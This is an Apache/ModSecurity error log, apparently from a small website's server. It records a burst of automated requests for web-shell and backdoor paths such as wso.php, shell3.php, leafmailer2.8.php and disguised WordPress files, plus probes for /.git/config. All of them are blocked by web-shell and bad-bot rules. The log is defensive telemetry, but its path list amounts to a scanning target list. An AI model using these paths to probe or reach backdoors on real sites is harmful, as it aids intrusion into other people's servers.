[Fri Nov 14 14:03:22.566906 2025] [proxy_fcgi:error] [pid 16575:tid 16650] [client 27.60.129.214:31724] AH01071: Got error 'Primary script unknown'
[Fri Nov 14 18:55:27.080660 2025] [:error] [pid 16671:tid 16677] [client 45.153.34.41:37778] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRcKnzsoHwEAmeIzZXBkXgAAAQA"]
[Sat Nov 15 06:02:25.831492 2025] [:error] [pid 27910:tid 27954] [client 13.234.7.127:33028] [client 13.234.7.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aRem8Y6e1LusHMYkS7ZZwgAAAE0"]
[Sat Nov 15 06:15:15.384419 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.221:35317] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aRep8-gM1rHoEAqoQDc2zwAAAQU"]
[Sat Nov 15 06:15:15.574725 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.184:36349] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aRep8-gM1rHoEAqoQDc20AAAAQo"]
[Sat Nov 15 06:15:16.824388 2025] [:error] [pid 37318:tid 37389] [client 85.203.21.204:65223] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aRep9OgM1rHoEAqoQDc21AAAARc"]
[Sat Nov 15 06:15:17.005102 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.226:27925] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/index.php"] [unique_id "aRep9dpja_6cDxKbxFkmJwAAAMo"]
[Sat Nov 15 06:15:17.203457 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.178:32705] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aRep9egM1rHoEAqoQDc21gAAARU"]
[Sat Nov 15 06:15:17.475114 2025] [:error] [pid 27909:tid 27924] [client 85.203.21.160:21991] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/222.php"] [unique_id "aRep9STfZ6B57n8HepWXAQAAAAs"]
[Sat Nov 15 06:15:17.778836 2025] [:error] [pid 37318:tid 37369] [client 85.203.21.167:43293] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php"] [unique_id "aRep9egM1rHoEAqoQDc22QAAAQc"]
[Sat Nov 15 06:15:18.392713 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.204:50631] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/aback.php"] [unique_id "aRep9ugM1rHoEAqoQDc22gAAAQs"]
[Sat Nov 15 06:15:19.116719 2025] [:error] [pid 27909:tid 27916] [client 85.203.21.226:20899] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aRep9yTfZ6B57n8HepWXBQAAAAM"]
[Sat Nov 15 06:15:19.503194 2025] [:error] [pid 27911:tid 27981] [client 85.203.21.239:53441] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "aRep98GzUdrhGBIfiKTLTgAAAI0"]
[Sat Nov 15 06:15:19.889829 2025] [:error] [pid 27997:tid 28021] [client 85.203.21.186:46409] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/moderation.php"] [unique_id "aRep99pja_6cDxKbxFkmLgAAANY"]
[Sat Nov 15 06:15:20.116775 2025] [:error] [pid 27909:tid 27930] [client 85.203.21.178:28917] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/classwithtostring.php"] [unique_id "aRep-CTfZ6B57n8HepWXCQAAABE"]
[Sat Nov 15 06:15:20.309660 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.41:25813] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aRep-Npja_6cDxKbxFkmLwAAAMc"]
[Sat Nov 15 06:15:20.503196 2025] [:error] [pid 27910:tid 27947] [client 85.203.21.202:50883] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/jindex.php"] [unique_id "aRep-I6e1LusHMYkS7ZeCwAAAEY"]
[Sat Nov 15 06:15:20.700400 2025] [:error] [pid 37318:tid 37380] [client 85.203.21.178:32567] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aRep-OgM1rHoEAqoQDc23wAAARI"]
[Sat Nov 15 06:15:20.919341 2025] [:error] [pid 27911:tid 27970] [client 85.203.21.237:59907] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/default.php"] [unique_id "aRep-MGzUdrhGBIfiKTLUgAAAII"]
[Sat Nov 15 06:15:21.100538 2025] [:error] [pid 27997:tid 27999] [client 85.203.21.238:52323] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/leaf.php"] [unique_id "aRep-dpja_6cDxKbxFkmMQAAAMA"]
[Sat Nov 15 06:15:21.297300 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.161:42995] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/mainhosting/default.php"] [unique_id "aRep-STfZ6B57n8HepWXDwAAAAc"]
[Sat Nov 15 06:15:21.479795 2025] [:error] [pid 27997:tid 28015] [client 85.203.21.168:49897] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "aRep-dpja_6cDxKbxFkmMgAAANA"]
[Sat Nov 15 06:15:21.688100 2025] [:error] [pid 27910:tid 27943] [client 85.203.21.226:49475] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/inc.php"] [unique_id "aRep-Y6e1LusHMYkS7ZeDAAAAEI"]
[Sat Nov 15 06:15:21.888246 2025] [:error] [pid 27910:tid 27958] [client 85.203.21.217:64133] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "aRep-Y6e1LusHMYkS7ZeDQAAAFE"]
[Sat Nov 15 06:15:22.075294 2025] [:error] [pid 27909:tid 27933] [client 85.203.21.184:61559] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aRep-iTfZ6B57n8HepWXEAAAABQ"]
[Sat Nov 15 06:15:22.277643 2025] [:error] [pid 27910:tid 27963] [client 193.37.32.2:54247] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sim.php"] [unique_id "aRep-o6e1LusHMYkS7ZeDwAAAFY"]
[Sat Nov 15 06:15:22.484340 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.193:24893] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "aRep-ugM1rHoEAqoQDc25AAAAQs"]
[Sat Nov 15 06:15:22.688640 2025] [:error] [pid 27997:tid 28010] [client 85.203.21.217:56355] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/core.php"] [unique_id "aRep-tpja_6cDxKbxFkmNQAAAMs"]
[Sat Nov 15 06:15:22.978643 2025] [:error] [pid 27910:tid 27955] [client 85.203.21.217:31547] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aRep-o6e1LusHMYkS7ZeEwAAAE4"]
[Sat Nov 15 06:15:23.191126 2025] [:error] [pid 37318:tid 37365] [client 85.203.21.213:41595] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aRep--gM1rHoEAqoQDc25QAAAQM"]
[Sat Nov 15 06:15:23.418382 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.226:42783] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xml.php"] [unique_id "aRep--gM1rHoEAqoQDc25wAAAQA"]
[Sat Nov 15 06:15:23.602872 2025] [:error] [pid 27910:tid 27952] [client 85.203.21.157:53739] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aRep-46e1LusHMYkS7ZeFQAAAEs"]
[Sat Nov 15 06:15:23.784792 2025] [:error] [pid 27910:tid 27951] [client 85.203.21.164:26195] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/class-config.php"] [unique_id "aRep-46e1LusHMYkS7ZeFgAAAEo"]
[Sat Nov 15 06:15:23.971169 2025] [:error] [pid 27910:tid 27954] [client 85.203.21.232:55619] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aRep-46e1LusHMYkS7ZeFwAAAE0"]
[Sat Nov 15 06:15:24.170628 2025] [:error] [pid 27911:tid 27984] [client 193.37.32.3:57335] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-mail.php"] [unique_id "aRep_MGzUdrhGBIfiKTLVQAAAJA"]
[Sat Nov 15 06:15:24.380434 2025] [:error] [pid 27910:tid 27943] [client 85.203.21.197:34463] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aRep_I6e1LusHMYkS7ZeGQAAAEI"]
[Sat Nov 15 06:15:24.584050 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.190:25297] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/back.php"] [unique_id "aRep_Npja_6cDxKbxFkmOQAAAMM"]
[Sat Nov 15 06:15:24.780330 2025] [:error] [pid 27997:tid 28023] [client 85.203.21.162:33333] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRep_Npja_6cDxKbxFkmOgAAANg"]
[Sat Nov 15 06:15:24.976920 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.156:51723] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aRep_I6e1LusHMYkS7ZeGwAAAEA"]
[Sat Nov 15 06:15:25.187730 2025] [:error] [pid 27997:tid 28013] [client 85.203.21.57:54387] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/leafmailer2.8.php"] [unique_id "aRep_dpja_6cDxKbxFkmPAAAAM4"]
[Sat Nov 15 06:15:25.381179 2025] [:error] [pid 27997:tid 28019] [client 85.203.21.184:37253] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aRep_dpja_6cDxKbxFkmPgAAANQ"]
[Sat Nov 15 06:15:25.572208 2025] [:error] [pid 27909:tid 27937] [client 85.203.21.156:25701] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/up.php"] [unique_id "aRep_STfZ6B57n8HepWXFgAAABg"]
[Sat Nov 15 06:15:25.771965 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.176:22803] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wsa.php"] [unique_id "aRep_STfZ6B57n8HepWXGAAAAAc"]
[Sat Nov 15 06:15:25.987046 2025] [:error] [pid 27910:tid 27961] [client 85.203.21.41:41837] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aRep_Y6e1LusHMYkS7ZeHQAAAFQ"]
[Sat Nov 15 06:15:26.190982 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.183:59095] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aRep_ugM1rHoEAqoQDc26gAAARE"]
[Sat Nov 15 06:15:26.400716 2025] [:error] [pid 27910:tid 27965] [client 85.203.21.45:37051] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/uploads/index.php"] [unique_id "aRep_o6e1LusHMYkS7ZeHgAAAFg"]
[Sat Nov 15 06:15:26.717941 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.228:41733] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfifteen/shell3.php"] [unique_id "aRep_ugM1rHoEAqoQDc26wAAAQU"]
[Sat Nov 15 06:15:27.074256 2025] [:error] [pid 27910:tid 27952] [client 85.203.21.207:45135] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/azusa/inc/wp-host.php"] [unique_id "aRep_46e1LusHMYkS7ZeIgAAAEs"]
[Sat Nov 15 06:15:27.679475 2025] [:error] [pid 27911:tid 27989] [client 85.203.21.167:56339] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/better-wp-security/vendor-prod/composer/autoload.php"] [unique_id "aRep_8GzUdrhGBIfiKTLVwAAAJU"]
[Sat Nov 15 06:15:27.985692 2025] [:error] [pid 27910:tid 27960] [client 85.203.21.193:58615] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/woocommerce-to-wechatapp/vendor/overtrue/wechat/src/OpenPlatform/Authorizer/MiniProgram/Domain/Current.php"] [unique_id "aRep_46e1LusHMYkS7ZeJAAAAFM"]
[Sat Nov 15 06:15:28.229299 2025] [:error] [pid 27997:tid 28003] [client 85.203.21.239:45337] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aReqANpja_6cDxKbxFkmQQAAAMQ"]
[Sat Nov 15 06:15:28.518977 2025] [:error] [pid 27910:tid 27954] [client 85.203.21.178:46049] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/ga.php"] [unique_id "aReqAI6e1LusHMYkS7ZeJQAAAE0"]
[Sat Nov 15 06:15:28.705931 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.201:55157] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-author-name/index.php"] [unique_id "aReqAI6e1LusHMYkS7ZeKAAAAEE"]
[Sat Nov 15 06:15:28.887162 2025] [:error] [pid 27997:tid 28000] [client 85.203.21.222:42181] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/list/144.php"] [unique_id "aReqANpja_6cDxKbxFkmRQAAAME"]
[Sat Nov 15 06:15:29.106695 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.164:64253] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/mach.php"] [unique_id "aReqAcGzUdrhGBIfiKTLWQAAAIo"]
